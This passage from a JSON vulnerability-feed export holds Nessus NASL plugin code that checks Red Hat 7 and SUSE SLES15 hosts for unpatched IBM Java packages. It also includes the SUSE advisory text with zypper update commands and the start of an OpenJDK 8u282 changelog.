os_ver[1];\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '7')) audit(AUDIT_OS_NOT, 'Red Hat 7.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'enterprise_linux_7_client': [\n 'rhel-7-desktop-debug-rpms',\n 'rhel-7-desktop-fastrack-debug-rpms',\n 'rhel-7-desktop-fastrack-rpms',\n 'rhel-7-desktop-fastrack-source-rpms',\n 'rhel-7-desktop-optional-debug-rpms',\n 'rhel-7-desktop-optional-fastrack-debug-rpms',\n 'rhel-7-desktop-optional-fastrack-rpms',\n 'rhel-7-desktop-optional-fastrack-source-rpms',\n 'rhel-7-desktop-optional-rpms',\n 'rhel-7-desktop-optional-source-rpms',\n 'rhel-7-desktop-rpms',\n 'rhel-7-desktop-source-rpms'\n ],\n 'enterprise_linux_7_computenode': [\n 'rhel-7-for-hpc-node-fastrack-debug-rpms',\n 'rhel-7-for-hpc-node-fastrack-rpms',\n 'rhel-7-for-hpc-node-fastrack-source-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-debug-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-source-rpms',\n 'rhel-7-hpc-node-debug-rpms',\n 'rhel-7-hpc-node-optional-debug-rpms',\n 'rhel-7-hpc-node-optional-rpms',\n 'rhel-7-hpc-node-optional-source-rpms',\n 'rhel-7-hpc-node-rpms',\n 'rhel-7-hpc-node-source-rpms'\n ],\n 'enterprise_linux_7_server': [\n 'rhel-7-for-system-z-a-debug-rpms',\n 'rhel-7-for-system-z-a-optional-debug-rpms',\n 'rhel-7-for-system-z-a-optional-rpms',\n 'rhel-7-for-system-z-a-optional-source-rpms',\n 'rhel-7-for-system-z-a-rpms',\n 'rhel-7-for-system-z-a-source-rpms',\n 'rhel-7-for-system-z-debug-rpms',\n 'rhel-7-for-system-z-fastrack-debug-rpms',\n 'rhel-7-for-system-z-fastrack-rpms',\n 'rhel-7-for-system-z-fastrack-source-rpms',\n 'rhel-7-for-system-z-optional-debug-rpms',\n 'rhel-7-for-system-z-optional-fastrack-debug-rpms',\n 'rhel-7-for-system-z-optional-fastrack-rpms',\n 'rhel-7-for-system-z-optional-fastrack-source-rpms',\n 'rhel-7-for-system-z-optional-rpms',\n 'rhel-7-for-system-z-optional-source-rpms',\n 'rhel-7-for-system-z-rpms',\n 'rhel-7-for-system-z-source-rpms',\n 'rhel-7-server-debug-rpms',\n 'rhel-7-server-fastrack-debug-rpms',\n 'rhel-7-server-fastrack-rpms',\n 'rhel-7-server-fastrack-source-rpms',\n 'rhel-7-server-optional-debug-rpms',\n 'rhel-7-server-optional-fastrack-debug-rpms',\n 'rhel-7-server-optional-fastrack-rpms',\n 'rhel-7-server-optional-fastrack-source-rpms',\n 'rhel-7-server-optional-rpms',\n 'rhel-7-server-optional-source-rpms',\n 'rhel-7-server-rpms',\n 'rhel-7-server-source-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-source-rpms',\n 'rhel-ha-for-rhel-7-server-debug-rpms',\n 'rhel-ha-for-rhel-7-server-rpms',\n 'rhel-ha-for-rhel-7-server-source-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-source-rpms',\n 'rhel-rs-for-rhel-7-server-debug-rpms',\n 'rhel-rs-for-rhel-7-server-rpms',\n 'rhel-rs-for-rhel-7-server-source-rpms'\n ],\n 'enterprise_linux_7_workstation': [\n 'rhel-7-workstation-debug-rpms',\n 'rhel-7-workstation-fastrack-debug-rpms',\n 'rhel-7-workstation-fastrack-rpms',\n 'rhel-7-workstation-fastrack-source-rpms',\n 'rhel-7-workstation-optional-debug-rpms',\n 'rhel-7-workstation-optional-fastrack-debug-rpms',\n 'rhel-7-workstation-optional-fastrack-rpms',\n 'rhel-7-workstation-optional-fastrack-source-rpms',\n 'rhel-7-workstation-optional-rpms',\n 'rhel-7-workstation-optional-source-rpms',\n 'rhel-7-workstation-rpms',\n 'rhel-7-workstation-source-rpms'\n ],\n 'rhel_extras_7': [\n 'rhel-7-desktop-supplementary-rpms',\n 'rhel-7-desktop-supplementary-source-rpms',\n 'rhel-7-for-hpc-node-supplementary-rpms',\n 'rhel-7-for-hpc-node-supplementary-source-rpms',\n 'rhel-7-for-system-z-eus-supplementary-rpms',\n 'rhel-7-for-system-z-eus-supplementary-source-rpms',\n 'rhel-7-for-system-z-supplementary-debug-rpms',\n 'rhel-7-for-system-z-supplementary-rpms',\n 'rhel-7-for-system-z-supplementary-source-rpms',\n 'rhel-7-hpc-node-eus-supplementary-rpms',\n 'rhel-7-server-eus-supplementary-rpms',\n 'rhel-7-server-supplementary-rpms',\n 'rhel-7-server-supplementary-source-rpms',\n 'rhel-7-workstation-supplementary-rpms',\n 'rhel-7-workstation-supplementary-source-rpms'\n ],\n 'rhel_extras_oracle_java_7': [\n 'rhel-7-desktop-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-for-hpc-node-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-hpc-node-eus-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-server-eus-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-server-eus-restricted-maintenance-oracle-java-source-rpms',\n 'rhel-7-server-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-workstation-restricted-maintenance-oracle-java-rpms'\n ],\n 'rhel_extras_rt_7': [\n 'rhel-7-server-nfv-debug-rpms',\n 'rhel-7-server-nfv-rpms',\n 'rhel-7-server-nfv-source-rpms',\n 'rhel-7-server-rt-debug-rpms',\n 'rhel-7-server-rt-rpms',\n 'rhel-7-server-rt-source-rpms'\n ],\n 'rhel_extras_sap_7': [\n 'rhel-sap-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-debug-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-source-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-source-rpms',\n 'rhel-sap-for-rhel-7-server-debug-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-debug-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-source-rpms',\n 'rhel-sap-for-rhel-7-server-eus-debug-rpms',\n 'rhel-sap-for-rhel-7-server-eus-rpms',\n 'rhel-sap-for-rhel-7-server-eus-source-rpms',\n 'rhel-sap-for-rhel-7-server-rpms',\n 'rhel-sap-for-rhel-7-server-source-rpms'\n ],\n 'rhel_extras_sap_hana_7': [\n 'rhel-sap-hana-for-rhel-7-server-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-source-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-source-rpms',\n 'rhel-sap-hana-for-rhel-7-server-rpms',\n 'rhel-sap-hana-for-rhel-7-server-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2021:0733');\n}\n\npkgs = [\n {'reference':'java-1.7.1-ibm-1.7.1.4.80-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-demo-1.7.1.4.80-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-demo-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-devel-1.7.1.4.80-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-devel-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-jdbc-1.7.1.4.80-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-jdbc-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-plugin-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-src-1.7.1.4.80-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.7.1-ibm-src-1.7.1.4.80-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'java-1.7.1-ibm / java-1.7.1-ibm-demo / java-1.7.1-ibm-devel / etc');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-06T02:20:21", "description": "This update for java-1_8_0-ibm fixes the following issues :\n\nUpdate to Java 8.0 Service Refresh 6 Fix Pack 25 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-03-02T00:00:00", "title": "SUSE SLES15 Security Update : java-1_8_0-ibm (SUSE-SU-2021:0670-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803"], "modified": "2021-03-02T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-devel", "cpe:/o:novell:suse_linux:15", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-plugin", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-alsa"], "id": "SUSE_SU-2021-0670-1.NASL", "href": "https://www.tenable.com/plugins/nessus/146937", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2021:0670-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146937);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/04\");\n\n script_cve_id(\"CVE-2020-14803\", \"CVE-2020-27221\");\n\n script_name(english:\"SUSE SLES15 Security Update : java-1_8_0-ibm (SUSE-SU-2021:0670-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_8_0-ibm fixes the following issues :\n\nUpdate to Java 8.0 Service Refresh 6 Fix Pack 25 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1182186\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-14803/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-27221/\"\n );\n # https://www.suse.com/support/update/announcement/2021/suse-su-20210670-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?036fc0f7\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Manager Server 4.0 :\n\nzypper in -t patch SUSE-SLE-Product-SUSE-Manager-Server-4.0-2021-670=1\n\nSUSE Manager Retail Branch Server 4.0 :\n\nzypper in -t patch\nSUSE-SLE-Product-SUSE-Manager-Retail-Branch-Server-4.0-2021-670=1\n\nSUSE Manager Proxy 4.0 :\n\nzypper in -t patch SUSE-SLE-Product-SUSE-Manager-Proxy-4.0-2021-670=1\n\nSUSE Linux Enterprise Server for SAP 15-SP1 :\n\nzypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP1-2021-670=1\n\nSUSE Linux Enterprise Server for SAP 15 :\n\nzypper in -t patch SUSE-SLE-Product-SLES_SAP-15-2021-670=1\n\nSUSE Linux Enterprise Server 15-SP1-LTSS :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-SP1-LTSS-2021-670=1\n\nSUSE Linux Enterprise Server 15-SP1-BCL :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-SP1-BCL-2021-670=1\n\nSUSE Linux Enterprise Server 15-LTSS :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-2021-670=1\n\nSUSE Linux Enterprise Module for Legacy Software 15-SP3 :\n\nzypper in -t patch SUSE-SLE-Module-Legacy-15-SP3-2021-670=1\n\nSUSE Linux Enterprise Module for Legacy Software 15-SP2 :\n\nzypper in -t patch SUSE-SLE-Module-Legacy-15-SP2-2021-670=1\n\nSUSE Enterprise Storage 6 :\n\nzypper in -t patch SUSE-Storage-6-2021-670=1\n\nSUSE CaaS Platform 4.0 :\n\nTo install this update, use the SUSE CaaS Platform 'skuba' tool. I\nwill inform you if it detects new updates and let you then trigger\nupdating of the complete cluster in a controlled way.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-alsa\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/02\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0|1|2|3)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0/1/2/3\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-3.50.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-3.50.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_8_0-ibm\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-06T02:20:21", "description": "This update for java-1_8_0-openjdk fixes the following issues :\n\nUpdate to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in 